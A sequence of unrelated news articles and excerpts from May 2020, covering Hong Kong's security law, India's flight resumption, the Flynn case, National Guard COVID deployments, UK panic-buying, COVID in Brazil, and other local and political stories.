While the enactment of such legislation is required under Article 23 of the Basic Law, Beijing has decided not to try to ram it through the Hong Kong legislature, said Steve Tsang, director of the China Institute at the School of Oriental and African Studies in London.

Instead, it has chosen what he called a worse option by proposing the National Peoples Congress enact a national security law for the territory.

For many in Hong Kong, the NPC enacting for Hong Kong will be tantamount to the effective end of the one country, two systems model, Tsang said. I find it hard to believe this will not trigger either a massive peaceful and orderly demonstration or more vocal and aggressive protests or, indeed, most probably, a combination of both.

A return of violent protests would be a further drag on the territorys creaking economy, prompting multinational companies to reconsider their presence and Washington to review its policy of granting Hong Kong more advantageous trade conditions than mainland China, Tsang said.

Hong Kongs main stock market index fell 5.6% on news of the bill. Other Asian markets also declined due to concern about U.S.-Chinese tension, but none by such a wide margin.

Former Hong Kong leader C.Y. Leung defended the introduction of the legislation in an interview with Chinese state broadcaster CCTV. He warned that the pro-democracy opposition should not underestimate the determination of the Chinese government to deal with the issues of Hong Kong.

Pro-Beijing lawmaker Martin Liao said that Hong Kong had legal obligations to introduce national security legislation and since 23 years have passed and there is no foreseeable plan to do so, that now was a proper time to deal with this.

For 23 years, in the absence of proper national security legislation, I think the central government has been very tolerant, Liao said in a news briefing by the pro-Beijing camp.

Pro-democracy lawmaker Tanya Chan countered that the proposal violates the Basic Law. It is a complete dishonor of promises made under the Sino-British Join Declaration, as well as all the promises made by the Chinese government to us and the world, she said.

___

Associated Press writer Ken Moritsugu in Beijing contributed to this story.
After a series of flip-flops, the Ministry of Civil Aviation (MoCA) has finally given its green signal for resuming domestic flights from May 25. International flights, however, will remain suspended for the time being. Civil Aviation Minister Hardeep Singh Puri has clarified that flights will be resumed with certain riders. Airlines will be allowed to operate at only one-third capacity approved in the summer schedule in 2020. For instance, if all the airlines were to operate 100 daily flights between Delhi and Mumbai as per the summer schedule, they can only take 33 now. Puri further said airlines would be allowed to add more flights "in a calibrated manner", but he didn't elaborate the conditions that are to be met.

In addition, the Civil Aviation Ministry has given a fare band under seven categories depending on the duration of the flight. For instance, a Delhi-Mumbai flight ticket can be priced between Rs 3,500 and Rs 10,000, with 40 per cent of the tickets to be sold below Rs 6,750. Then, there are a host of guidelines for the passengers keen on air travel after flights are resumed.

ALSO READ: Stock market: Why Airlines shares performed well today; IndiGo, SpiceJet jump upto 13%

With this, the airlines have gone back to the drawing board to prepare a fresh reboot plan. As carriers take to the skies after a gap of 62 days, they would be facing the most difficult question: Will there be a sustained demand for air travel in the COVID world? Experts say demand for air travel is going to peak around a week or so post May 25 since a lot of people who were stranded would return to their safe zones. After that, there is a strong likelihood that the demand would tank.

As per some estimates, nearly 80 per cent of air travel demand would get wiped out over the next three months. That's because nearly 40 per cent of air travel is driven by leisure. Until a cure is found, this segment would remain fragile as holiday travellers prefer their private vehicles for a trip within a driving distance of three-five hours. Even though the demand from business segment, which is 60 per cent of the overall demand, is expected to be better than leisure, the overall pie would shrink.

"After a week, I believe that there will be a true test of the demand. This is the biggest demand shock for the airline sector in history. Even one-third capacity is a bit much, and I see airlines would be forced to sell tickets at the lower end of the band," says Vinamra Longani, head of operations at Sarin & Co, a law firm specialising in aircraft matters.

ALSO READ: Mumbai-Delhi flights min price capped at Rs 3,500, max Rs 10,000

Much like the hotel sector, where operators are finding it hard to keep their establishments running, experts believe that it might come to a point where airlines find it unprofitable to keep the operations running. In a normal situation, nearly 40 per cent of the airline's expenses are fixed (salary, leases, etc), and 30 per cent is ATF cost. Though some of these have been rationalised in the COVID period, there's still a significant cost that airlines will have to bear to fly planes.

"The airlines have a long list of creditors (lessors, airports, oil companies) who are waiting to get paid. This is on top of the Rs 3,700 crore of pending refunds to the passengers. Some airlines have stopped paying staff salaries from April. Operating flights at weak load factors would aggravate their losses when they are already facing huge financial challenges over the past two months," says an aviation consultant.

As per ratings agency ICRA, domestic carriers are losing Rs 75-90 crore per day, and their debt level is expected to rise to Rs 46,500 crore in FY22. "Even when the operations resume and passengers start flying, a large percentage of passengers may be using these credit shells, and thus may not bring any significant additional cash inflows to the airlines," said Kinjal Shah, vice president at ICRA.

MUST WATCH: Flights to resume: Follow these guidelines to save yourself from coronavirus

Weaker airlines like SpiceJet and GoAir (with poor cash situation) are stating at an additional challenge of fighting it out with stronger players like IndiGo and Tata Group-owned carriers (Vistara, AirAsia India) who could likely use this as an opportunity to decimate competition. That's exactly the reason given by the MoCA to introduce fare bands. But Aviation Minister Puri has made it clear that this is not fare fixation as the government is dealing with an extraordinary situation. "It's conceivable that the fares would skyrocket. Based on consumer feedback, once we exit the three-month period, we could return to status quo or market-based system, which is equitable," Puri said.

Mark Martin of Martin Consulting says that the government should not control fares even in the current circumstances. "The airlines have been bleeding for over two months. The government doesn't own these airlines. Regulating fares doesn't make sense, and it distorts the demand-supply equation. Let the market forces decide," he says.

The decision to resume flight operations has come as a surprise for the airlines, travel agents and online travel aggregators (OTAs). After the May 17 circular by Ministry of Home Affairs (MHA) prohibited domestic and international flights till May 31, the sector had gone into wait-and-watch mode. On May 20, when Puri tweeted about lifting the flight suspension, it again swung into action. However, it remains to be seen if the flight resumption would give a booster shot to the sector or actually pull it further down.

ALSO READ: Airlines allowed to resume flights with riders; here's all you need to know
The U.S. Court of Appeals for the D.C. Circuit has ordered Judge Sullivan to respond within ten days to the petition for a writ of mandamus filed by Michael Flynn. I discussed and quoted from the petition here.

The court also invites the government to respond in its discretion within the same ten-day period.

Flynn was fortunate to draw the panel he did. It consists of Karen LeCraft Henderson, a Bush 41 appointee, Naomi Rao, a Trump appointee, and Robert Wilkins, who was appointed by Obama.

That panels order is per curiam. There is no indication that Judge Wilkins disagreed with it.

Its clear to me that Sullivan should have granted the governments motion to dismiss the case against Flynn straightaway. He should not have invited amicus briefing or involved a former judge in the proceedings.

I thought, however, that the court of appeals would wait for Sullivan to rule on the governments motion to dismiss before becoming involved. That might still be the outcome, but the odds now seem to be in Flynns favor.

In this regard, its probably significant that the court cited Rule 48(a) of the Federal Rules of Criminal Procedure and the D.C. Circuits decision in United States v. Fokker Services B.V.. As Andy McCarthy says, the rule and the case call Sullivans action into serious question.
Defense Secretary Mark Esper said he supports extending the National Guard's federal deployment for coronavirus relief past the planned June 24 cutoff if needed to fight the pandemic. The chief of the National Guard Bureau went even further, telling POLITICO on Friday that he has recommended President Donald Trump extend the deployment until at least the end of July .

The mission is not done yet, National Guard Chief General Joseph Lengyel told POLITICO Friday. The one thing we know for sure is that this mission is going to continue beyond the 24th of June.

More than 40,000 Guardsmen are performing crucial tasks in almost every state and federal territory, including contact tracing and deep-cleaning nursing homes, shoring up underfunded and understaffed public health departments. The White House must approve any extension of the deployment, and Trump has not yet said he will do so, although he faces rising bipartisan pressure from the Hill.

If they have a valid mission assignment thats verified by FEMA, my view is we should extend those tours of duty, Esper said on the "Today Show." Im not worried about the number of days. What Im worried about is making sure we win the fight against coronavirus.

Though an extension is still possible, Lengyel told state National Guard leaders on a Thursday night call that they need to start preparing to transition to a state-funded mission. State leaders say this would mean pulling troops off the front lines of the pandemic response, both because states can't afford to keep them all mobilized without federal support and because Guard members need to be given two weeks to self-quarantine plus time to use the paid leave they earned on this mission.

We were told to start planning to pull our troops off of their missions effective June 24, said Major Gen. Matt Quinn, the adjutant general of Montana and the president of the Adjutants General Association of the United States. And if the soldiers and airmen were in close contact with someone who had Covid-19, we need to pull them off 14 days early for the quarantine period.

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Officials from two different states also told POLITICO that Lengyel on that call encouraged state leaders to emphasize in their requests for longer federal deployment that the Guards' work is vital to getting the economy back on track. They interpreted this comment to mean an economic argument would be more convincing to Trump.

States seem to have taken the advice to heart. "Current National Guard response missions are absolutely critical to the states efforts to sustain a safe and responsible opening of our economy," Washington Gov. Jay Inslee, a Democrat, wrote the president, asking for an extension until July 31.

The push from military officials builds on mounting pressure from Capitol Hill. After POLITICO reported that the administration was planning a hard stop to the federal deployment on June 24  just one day before thousands of Guard members would qualify for early retirement and education benefits  Republican and Democratic members of Congress introduced a wave of bills and oversight actions aimed at extending the deployment and securing Guard members' federal benefits.

"Having a hard stop, just to shortchange National Guard members, does not help us combat the virus and could lead to gaps in the support network the Administration already took too long build," said Rep. Bennie Thompson, (D-Miss.) chair of the House Homeland Security Committee. "We all know the pandemic will continue to affect states for months to come."

Rep. Max Rose (D-N.Y.), a combat veteran and National Guard captain leading some of the congressional efforts said he hopes Congress doesn't have to do a legislative fix "since the all the White House has to do is reverse this idiotic, cold decision."

State officials warn that pulling the troops off the pandemic response next month would disrupt key public health missions that have just begun. In Delaware, for example, 100 National Guard members just this week began supporting the contact tracing operation, which tracks the spread of the virus as the state prepares to reopen. In Wisconsin, Guard members are running an alternate care facility in Milwaukee and leading 25 field testing teams around the state, and lawmakers warned in a letter to the White House on Thursday that the loss of federal funding "could contribute to a possible second wave of infection.

Many states have said it is going to be hard for us to transition to the state-funded mission if the federal deployment adds after just 89 days, Lengyel told POLITICO. In Texas, he said, officials want to add 2,000 members of the Guard in nursing homes to disinfect facilities, an effort that will likely take until after June 24 to complete.

In Montana, National Guard members recently begun running drive-through testing sites on the states Native American reservations focused on rooting out asymptomatic infections.

We're just starting those missions and just because of some arbitrary date, possibly tied to benefits, were going to have to pull the troops off, Quinn lamented. I just dont know where were going to find the manpower to continue to do the testing thats recommended by the White House and CDC of our most vulnerable citizens.

States have also warned that they can't keep nearly as many troops mobilized on state active duty should the federal funding expire. The National Conference of State Legislatures estimates the cost of the deployment to be as much as $9 million per month for every 1,000 troops. Jim Reed, who leads the NCSLs military and veterans task force, said thats a price tag no state can currently afford.

There's no extra money in any state budget right now  we have declining tax revenues and at the same time, the needs and extra costs are tremendous, he said. My state of Colorado, for example, just last week reported a $3.3 billion revenue shortfall. And unlike the federal government, states cant really deficit spend. Any new hole in the budget becomes something that requires more cuts.

Pentagon spokesperson Jonathan Hoffman stressed that Guard members can still attain the 90 days required to qualify for early retirement and other benefits on a future deployment.

Its important to understand that at this time no benefit has been denied to these members, Hoffman said, noting that Esper, a former Guardsman himself, has spoken with almost 40 governors about the issue. No doors have been closed on it.

While the pressure on the administration is ramping up as the deployments current end date approaches, the White House has declined to say whether the president will sign an extension, leaving states struggling to plan ahead as they work to both reopen their economies and contain the outbreak.

If they end this thing on the 24th, its going to be a mess, predicted retired Brig. Gen. J. Roy Robinson, the president of the National Guard Association. The states have to shut down an operation manned by traditional guardsmen who have to quarantine before they return to their civilian employers and their families. So if theyre truly planning to shut down on the 24, they need to start pull soldiers and airmen off of their missions during the first week of June.


WALWORTH  A parade to recognize graduating Big Foot High School seniors has been approved by village officials and is scheduled for May 31.

A private permit requesting permission from the village to hold the parade was submitted by Walworth resident Theresa Taylor, who wanted to ensure graduating seniors this year felt recognized, after normal end-of-year events were cancelled because of the coronavirus pandemic.

Big Foot joins other schools in the Lake Geneva region in seeking new ways to recognize graduating students under public health guidelines necessitated by the pandemic.

On the conditions that state guidelines for social distancing are followed and that normal traffic laws and ordinances are obeyed, the village board May 11 approved the Big Foot parade request. Early plans for the parade were established before Gov. Tony Evers Safer At Home order was overturned, making them subject to change.

The parade will allow students and their families to ride in the same vehicles along a route led by local police and emergency response personnel.

Taylor said students would only be allowed to ride with those they share homes with, and follow normal driving laws. This means students will not be allowed to sit in pickup truck beds or ride in trailers.

We just want the kids in their own cars riding through the town, she said. Itll be something for the town and something for the graduates, to acknowledge all their hard work throughout the year.

Police Chief Ryan Milligan said the parade plans have his support and that measures could be put in place to ensure social distancing is practiced during the event, like limiting the time students could gather for the parade and ensuring no groups congregate afterwards.

The police chief said so no additional officers will be staffed for the parade, creating no additional costs to the village.

He added that if students are only allowed to ride in the same cars as their families, the parade would involve less contact with individuals outside of the family than going grocery shopping.

Once the parade is moving, it will be just like moving traffic, no different than whats out there right now, he said during the meeting.

Village trustee Joan Louise Sallee said while she is excited for the parade, being the parent of a graduating Big Foot senior herself. She also wants to ensure student safety from beginning to end.

This is going to have to be very carefully timed out and coordinated, she said. The logistics are going to have to be very closely coordinated.

She added that for the parade to go smoothly, communication between the village, police, students and parents is going to be key.

Milligan said while the parade will rely on self-discipline from the students and families, the fact a permit is being requested for the event is a good indication.

I appreciate the fact that instead of parents going off and doing something on their own without asking anybody, theyre going through the right steps, in my opinion, to do it right, he said. I think that says a lot.

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There is no prohibition on using reliable and acceptable hearsay as evidence in departmental proceedings against erring employees, the Bombay high court (HC) said on Tuesday, while upholding the dismissal of a professor and a library clerk of a Dombivli college.

The professor and the clerk had moved HC after the University and College Tribunal, Mumbai, on January 27, 2016, upheld their dismissal from service in July 2013. They were dismissed after the inquiry officer found them guilty of insubordination, dereliction of duty, and suspected intimate relations between the two.

However, the petitioners contended that they were actively raising grievances of the employees of the college, which did not go down well with the institutes management. They further claimed that the action taken against them was out of the vindictive attitude of the college management and had also challenged the departmental action against them as well as the order of the University and College Tribunal on various grounds.

Justice CV Bhadang, however, found no substance in their challenge, and said their dismissal was based on certain technical issues of a peripheral nature and that there was no serious challenge to the findings of fact recorded by the inquiry officer.

The judge also rejected their arguments that a report prepared by a private detective  employed by the clerks husband  could not have been used as evidence against them in the departmental proceedings. They also claimed that the report was nothing but hearsay, as the author of the report  the private detective  was not examined as a witness against them.

Justice Bhadang said it is now well settled that strict rules of evidence do not apply to a departmental inquiry and there is no prohibition even on acting on hearsay evidence in a given case, if it is found to be reliable and acceptable.
Assam Chief Minister Sarbananda



Sonowal on Friday said the state is "fully capable" of handling the rising number of COVID-19 positive cases and appealed to people not to panic.

The state witnessed the biggest single day spike in COVID-19 cases with 49 persons testing positive on Friday, taking the total number to 259.

After visiting a number of quarantine centres set up at various schools and colleges, Sonowal called on the people not to panic looking at the rising number of COVID-19 positive cases.

"The state government is fully capable of handling the situation," he said in an official release.

Sonowal urged the people to strictly follow the guidelines issued by the Health department like wearing masks, frequent hand washing and maintaining social distance for achieving victory in this fight against coronavirus.

He also requested the people not to discriminate against those who are infected by the deadly virus as nobody willingly becomes a virus carrier.

Saying that the state government is taking all necessary steps to bring back Assam's people stranded in different parts of the country, the chief minister appealed to those who are being quarantined not to violate any restriction.

"Violation of quarantine norms does not only affect the patients, but also jeopardizes the whole society and therefore, the government has no other option but to take action against those violators of home or institutional quarantine," he added.

He said steps are being taken to set up quarantine centres till the panchayat level so that this outbreak of the global pandemic can be contained.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Flock is a holding company. Its biggest and most lucrative division is Nest, which manages the 1,000 rentals of single-family homes and condos in the District and supplies 75 percent of Flocks revenue. Nest charges 90 percent of one months rent to find and land a tenant and then collects a monthly management fee of 8 percent of the rent for a condo and 10 percent for a house. Nest revenue is down 40 percent so far because of the pandemic shutdowns that have devastated the U.S. economy, but it is slowly clawing back.
People have shared their experiences of supermarket shopping following the recent phase of panic-buying and subsequent restrictions, with many reporting problems buying basic goods.

A new survey carried out last month asked consumers about the impact of the pandemic on their ability to purchase day-to-day food and goods during February and March - the height of the panic-buying phenomenon.

Key workers and vulnerable people reported being badly affected with around 65% of respondents in both categories struggling to buy essential items such as fresh food and household goods.

The most hard-to-get products included toilet roll, pasta, flour, and eggs.

People in the vulnerable category also reported difficulties obtaining over the counter medicines.

Which item has been out-of-stock most?

Toilet roll: 14%

Pasta: 12%

Flour: 11%

Eggs: 11%

Rice: 10%

Kitchen towels: 8%

Canned goods: 8%

Milk: 7%

Bread: 7%

Meat: 5%

Cooking oil: 4%

Fish: 3%

Dr. Uchitha Jayawickrama, of the School of Business and Economics (SBE), at Loughborough University, said: "Empty shelves we saw at the beginning of the pandemic was just the tip of the iceberg.

"This study gave some critical insights on which product categories and items were out of stock, and how this pandemic affected different consumer groups.

"One of the alarming findings was the problems pertaining to online grocery purchasing methods.

"This has been adversely affecting key workers and vulnerable groups."

Participants in the survey also highlighted the difficulties they faced when it came to online grocery shopping - unavailability of online delivery slots (including click and collect slots), persistent out of stock, low-quality product delivery and unnecessary substitution.

More than 85% said packaged foods (e.g. flour, pasta, rice, etc.) were out-of-stock almost every time or frequently when they tried to buy their goods from supermarket websites.

Some 95% of the people also said they thought the restrictions on food and other actions taken to curb panic-buying were necessary.

However, the majority indicated that thought the measures took too long to put in place.

And 79% said it was necessary to ration pharmaceutical goods such as hand sanitizer and pain killers.

The most popular store used by participants was Tesco, with 71% of people shopping there during February and March.

Which supermarkets have you been using during the coronavirus crisis?

Tesco: 73.1%

Sainsburys: 39.4%

Aldi: 35.5%

Asda: 33%

Morrisons: 28.7%

Lidl: 24.4%

Co-op: 22.2%

M&S: 15.8%

Waitrose: 13.3%

Iceland: 11.1%

Spar: 2.5%

Other key findings included:

One out of every two shoppers bought solely in-store rather than online

The most important products highlighted were fresh food, packaged food (flour, pasta, rice), household items and frozen items

Most shoppers said many of these products were out-of-stock during February and March (both in-store and online)

More products were available in April, however, the most important items were still unavailable

Two out of every three key workers, and the same number of vulnerable people, said they found it difficult to fulfill their basic shopping needs during February and March

Six out of every 10 low-income shoppers also said they struggled to fulfill basic shopping needs

Eight out of every 10 shoppers said they were satisfied with steps taken by supermarkets to ration products

Seven out of every 10 participants did not know about any Government actions to assist with supplying food to supermarkets

The study was carried out soon after the Government and food industry had taken steps to improve the reliability and function of food supply chains.

Earlier this month, the findings were submitted as evidence to the Environment, Food, and Rural Affairs (EFRA) parliament committee as part of its investigation into 'COVID-19 and food supply'.

The next stage of the research will look at possible solutions for tackling the issues raised by shoppers.
As India gradually opens up amid nationwide Coronavirus lockdown, Congress announced on Thursday, that party interim-chief Sonia Gandhi has called an Opposition party meeting of all 18 parties. Reports state that the video-conference meeting which will be chaired by UPA chairman Sonia Gandhi will discuss matters like the governments handling of the coronavirus pandemic, the migrant issue, the states suspension of labour laws, and freeze on various parliamentary committees. 18 parties like Samajwadi Party, Shiv Sena, Left-wing parties, NCP, DMK, Trinamool are invited.

Coronavirus Live Updates: Centre sets fare limit on domestic flights; cases soar to 112359

Sena to attend, many skip

Shiv Sena supremo and Congress' Maharashtra-ally Uddhav Thackeray has accepted Congress' invite - making this Thackeray's first meet with Opposition. Apart from Thackeray, NCP chief Sharad Pawar, JMM chief Hemant Soren, DMK chief M K Stalin and the Left parties are set to attend the meeting, as per reports. Some party leaders like AAP chief Arvind Kejriwal, Samajwadi chief Akhilesh Yadav and BSP Supremo Mayawati have declined the invite. While Trinamool chief Mamata Banerjee had accepted the invite, she is scheduled to survey cyclone-hit areas in West Bengal with PM Modi.

PM Modi reaches out to Sonia Gandhi among other Opposition netas amid Coronavirus fight

Congress attacks Centre on migrants, economic package, lockdown

Recently, amid the operation of Shramik trains and buses to travel migrants, Congress has locked horns with Centre with Priyanka Gandhi Vadra claiming Uttar Pradesh CM Yogi Adityanath has blocked 1000 buses from Rajasthan to UP, while UP has hit back claiming most of the buses did not have relevant papers. Moreover, Congress has lashed out at Centre's 5-day 'Atmanirbhar economic package' announcements, stating that most of the Centre's Rs 20 lakh roll out was part of the annual package and had nothing for migrants. The party has also demanded PM Modi stop BJP-ruled states from amending labour these laws as they 'stripped workers of their basic rights'.

Big Blow to Sonia Gandhi: Mayawati accuses Congress of poaching, will skip Opposition meet

PM Modi reaches out to Opposition

Incidentally, on April 5, PM Modi called various party chiefs like Sonia Gandhi (Congress), Mulayam & Akhilesh Singh Yadav (SP), Naveen Patnaik (BJD), KCR (TRS), M K Stalin (DMK) and Parkash Singh Badal (Akali Dal). Later, on April 8, he also held an all-party meeting over the novel Coronavirus outbreak via video conferencing, after Opposition accused the Modi government of not engaging political parties. India is currently in its fourth phase of lockdown with 112359 cases, with 45300 recoveries and 3435 fatalities.

Congress demands PM Modi to stop BJP-ruled states from amending state labour laws
Elwood Reid is always up for a challenge.

When he took on adapting Annie Proulxs 2016 novel Barkskins, he knew he had to think outside the box.

I would have a page and a half to make an impression on the viewer, Reid says. It would be the first time viewers have seen these characters. My job as the writer was to bring them to life.

Barkskins examines the mysterious massacre of settlers in the vast and unforgiving wilds of 1690s New France that threatens to throw the region into all-out war.

It tells the story of two immigrants to New France, Rene Sel and Charles Duquet, and of their descendants and spans over 300 years and witnesses the deforestation of the New World from the arrival of Europeans into the contemporary era.

The series begins airing at 7 p.m. Monday, May 25, on National Geographic.

I caught up with Reid about his process with the project.

As Ive gotten older, I trust the process, he says. I trust the fear, writers block, and eventually Ill get through it.

Reid aimed to create a simple, dark look for the series. To read more, see Page 15.

The limited series is one of a few new shows available to watch from home.

Inside this weeks issue, there are reviews for TNTs latest series, Snowpiercer, and the video-on-demand animated film Scoob!. Those reviews are on Pages 4 and 6, respectively.

This weekend is also Memorial Day weekend, and its an opportunity to honor the men and women who died while serving in the U.S. military.

On Page 8, I talk to the director of On This Hallowed Ground: Vietnam Veterans Memorial Born From Tragedy. The documentary will air at 10 p.m. Sunday, May 24 and re-air at 8 p.m. Monday, May 25, on New Mexico PBS.

The documentary chronicles the journey to build the Peace and Brotherhood Chapel, now called the Vietnam Veterans Memorial, in Angel Fire.

Life is beginning to get back to some level of normalcy for some. Id like to thank you for turning to Venue and the Albuquerque Journal for your news.

Respectfully,

Adrian Gomez

Venue editor
US President Donald Trump on Wednesday accused China of spreading disinformation about the Covid-19 pandemic on orders coming from the top, a reference perhaps to President Xi Jinping.

Its disinformation and propaganda attack on the United States and Europe is a disgrace, Trump tweeted, reacting to a statement from a Chinese government spokesperson. It all comes from the top, he went on to say in an attack on the Chinese president. They could have easily stopped the plague, but they didnt!

Trump has repeatedly slammed China in recent weeks in an effort to possibly divert attention from the severe impact of the coronavirus on the US and its economy.

There was more bad news on the jobs front. On Thursday, the US labour department reported that more than 2.4 million workers filed for unemployment benefits last week, taking the total number of those laid off in the nine weeks of the lockdown to 38.6 million.

Meanwhile, new infections and deaths dropped considerably, allowing all 50 states to reopen partially. The US is now staring at the 100,000-mark in number of deaths. It reported 1,518 deaths in the last 24 hours.

The situation in New York City continued to improve, but governor Andrew Cuomo has said new cases are still being reported among lower income and minority communities. Of the 8,000 antibody tests conducted in those areas, the infection rate was at 34% in the Bronx, 29% in Brooklyn and 25% in Queens; which were way higher than the citywide average of 19.9%.
With Brazil now registering the third highest number of confirmed COVID-19 infections in the world, rapidly turning into the global epicenter of the pandemic, masses of working people in the country are facing an increasingly calamitous situation.

In Amazonas, the first state to declare the collapse of its health system, the disease has already spread into all the municipalities of its interior. The city with the highest mortality rate for COVID-19 in the whole country is Tabatinga, with a rate of 70 deaths per 100,000 inhabitants. Tabatinga is located in the southern Amazonian region of Alto Solimoes, which has more than 200 indigenous villages, now threatened with decimation by the virus.

Sao Paulo, the most populous state in the country, has the greatest number of infections, with some 70,000 confirmed cases reported by Wednesday, along with over 5,000 deaths. According to research conducted at the University of Sao Paulos School of Medicine, the real number of cases in the state is already over 800,000.

Nurses protest in Belem, Brazil

Six public hospitals in the capital city of Sao Paulo, which accounts for more than half of the states cases and deaths, already have 100 percent of their ICU beds occupied. The new coronavirus is spreading with the greatest force and speed in the citys densely populated working class neighborhoods, which suffer from extremely precarious infrastructure. The neighborhood with the highest number of cases and deaths continues to be Brasilandia, which has 260,000 inhabitants, no hospital and over 150 deaths. In the working class neighborhoods in the south of Sao Paulo, the number of deaths has doubled in the last 15 days.

On Monday, protesters began a march from Paraisopolis, one of the largest and poorest neighborhoods in the Southern Zone of Sao Paulo, to the Palacio dos Bandeirantes, the seat of the state government. The marchers were denouncing their abandonment to hunger, a constant lack of water and no access to health care. The demonstration was blocked by the shock troops of the military police.

In Rio de Janeiro, more than 30,000 cases and 3,000 deaths have been confirmed. The explosion of deaths attributed to respiratory failure indicates that the real number of fatalities caused by COVID-19 is twice that registered by the government. The health system of the state had collapsed by early May, with 98 percent of ICU beds occupied.

Rio de Janeiros favelas, which are also suffering from hunger and a lack of water, have more COVID-19 deaths than 15 states in Brazil. The website Mare de Noticias denounced the gross underreporting of deaths from the new disease in the Mare Complex, a group of 16 favelas with more than 140,000 inhabitants. As of May 4, the government had confirmed only six deaths in the community, while residents were sending daily messages to WhatsApp groups reporting the deaths of relatives with respiratory syndromes.

Disease and hunger in the favelas overlap with brutal state violence, with daily police raids that result in the slaughter of residents. In addition to the operation that left 13 dead in the Alemao Complex last Friday, a 14-year-old boy was murdered by police in Sao Goncalo, in the metropolitan region of Rio de Janeiro, earlier this week. On Wednesday, another 18-year-old youth was killed by police while participating in a distribution of food baskets in the Cidade de Deus community, in the western zone of Rio de Janeiro.

The disease is also spreading to the Brazilian prison population, the third largest on the planet. There are 729,949 prisoners in Brazil, crammed into overcrowded prisons, filled to over 160 percent capacity. Almost a third of the prisons do not have any health care, and 30 percent of all tuberculosis cases in the country are inside the jailswhich gives COVID-19 devastating potential.

The Brazilian state has adopted a criminal policy toward the prison population, releasing no more than the average number of inmates released over the last six months. Visits have been prohibited, as has the sending of packages by families. The survival of large numbers of prisoners depends on receiving these packages, containing medicines and basic items such as toilet paper and food.

This situation is provoking revolts by both inmates and their families. In Amazonas, a violent rebellion erupted in the Puraquequara Prison Unit on May 2. The inmates protested against the rotten food they are served and the absence of any medical assistance.

Last Monday, families of prisoners protested for their rights in the states of Bahia and Piaui, both in the northeast of Brazil, holding posters saying: Prisoners have their rights too and Coronavirus kills.

In Teresina, capital of Piaui, where at least 47 prisoners in the Altas Public Prison have COVID-19 symptoms, the families marched to the seat of government, raising posters that said: No more treating the prisoners like animals.

On the same day, also in Teresina, there was another workers protest. Nurses and nursing technicians of the Emergency Hospital of Teresina (HUT) demonstrated against the lack of personal protective equipment (PPE) after the death of a colleague, 60-year-old nursing technician Solange Mourinho, a victim of COVID-19.

Health professionals at HUT denounced the high rate of contamination, especially in the non-COVID wards, where workers are even less equipped and end up coming into contact with people infected by the disease. They also demanded an additional 40 percent wage increase for hazardous conditions for everyone, regardless of the ward in which they work.

The coronavirus is killing more nurses in Brazil than anywhere else in the world. According to the Federal Nursing Council (Cofen), there are 15,000 Brazilian nurses infected and 137 have been killed by COVID-19. All over the world, the International Council of Nurses has recorded approximately 260 deaths.

Last week, the Federal Council of Medicine (CFM) announced that it had received about 17,000 complaints from doctors who work in COVID-19 care centers. The main onealmost 40 percent of the totalis the lack of PPE, followed by the lack of supplies, testing and medicines and the lack of professionals in the units.

Health care workers have responded to the situation with a series of militant demonstrations, in many cases organized independently of the professional unions and criticizing their passivity.

Between last week and this week, dozens of protests and strikes by health care workers have been recorded across the country. This includes Porto Alegre, Rio Grande do Sul, and Ponta Gossa, Parana in the south of the country; the city of Sao Paulo and the port city of Santos, the capital of Rio de Janeiro, and Belo Horizonte, Minas Gerais in the Southeast Region; Goiania, Goias, and the Federal District, in the Midwest; Salvador, Bahia, and Teresina, Piaui in the Northeast; and in Rio Branco, Acre, and Macapa, Amapa in the North.

While the workers are protesting for their lives, the bourgeoisie as a whole and its political representatives are pursuing a radically opposed agenda. In all parts of the country, measures of social distancing are being overthrown and a return to work is being imposed in most sectors.

The entire automobile industry has returned to production. Since the beginning of the week, General Motors has resumed production at its plants in Sao Caetano do Sul and Sao Jose dos Campos, in the state of Sao Paulo, and Volkswagen has resumed production at its plant in Sao Jose dos Pinhais, in the state of Parana.

Last week, Fiat Chrysler resumed production at its plant in Betim, Minas Gerais, with more than 4,000 employees, while Jeep resumed its activities in Pernambuco.

On Wednesday, the transnational meat processing corporation JBS, based in Brazil, managed to reopen its plant in Passo Fundo, Rio Grande do Sul, which had been closed since the end of April by the Regional Labor Management after the site was proven to be a COVID-19 breeding ground. There were 94 cases registered among the factory employees and seven dead among their relatives.

The reopening of the Passo Fundo unit is the result of a weeks-long battle fought by JBS, with support from the media, state governor Eduardo Leite of the Brazilian Social Democratic Party (PSDB) and the Superior Labor Court.

The risk to the lives of hundreds of workers and their families in the Passo Fundo facility, as well as thousands of other workers in meat processing plants that will continue to operate in the country, is completely secondary to the profit interests of JBS shareholders. On Thursday, XP Investments strongly recommended the purchase of JBS shares, which it claims have a potential of increasing 66.3 percent in value.

With thousands upon thousands of workers being sent back into workplaces that are truly breeding grounds for COVID-19, a new wave of sick and dying patients will overwhelm already crowded hospitals throughout Brazil.

The already catastrophic situation facing health care professionals will be further aggravated. More doctors, nurses and attendants will be infected as their workloads grow even more punishing. Choosing which patients will be given a chance to survive and which must be left to die will become routine.

The working class can confront this catastrophe only through a struggle to wrest control of the whole of society from the hands of the corporate and financial oligarchy.

Workers must organize themselves in the factories through health and safety commissions, elected by the workers themselves and completely independent of the unions. These commissions must determine safe working proceduresassisted by health care professionals and scientistsand have the power to stop production in the face of any threat to workers health.

In the neighborhoods, it is the workers themselves, and not the police, who must look after security and social distancing measures. To ensure conditions in which masses of working people can survive, the fortunes of the capitalist elite must be expropriated and dedicated to guaranteeing a decent income to all families.

Health care professionals must manage the health system, determining safe working procedures. The beds of the private system should be open to any patient, without indemnification to for-profit health care companies.

These objectives can be achieved only through the independent political mobilization of the Brazilian working class, united with the worldwide movement of workers facing these same conditions, and assuming a socialist and revolutionary direction.
A students group at the Tata Institute of Social Sciences (TISS), Mumbai, has started a fund-raising campaign for 17 students who were unable to pay their outstanding fees owing to the Covid-19 lockdown. The 17 students are beneficiaries of the Government of India- Post-Matric Scholarship (GoI-PMS) and havent been able to arrange funds as there is a delay in the disbursement of their scholarship.

The campaign aims to raise Rs 5,22,090 to pay the students outstanding fees. They have raised about Rs 87,000 so far.

HT had previously reported that student bodies on campus have been demanding a waiver of outstanding fees, which includes tuition fee, dining fee and hostel fee, of graduating students belonging to scheduled caste (SC), scheduled tribe (ST), other backward classes (OBC) and economically weaker sections (EWS). The institute didnt accept this demand owing to a funds crunch.

The students couldnt even check their results as the institute has withheld results of those with outstanding fees. One of the students is a 2019 graduate and hasnt been able to get this degree as he hasnt paid. Failure to pay fees might affect students pursuing a Masters degree.

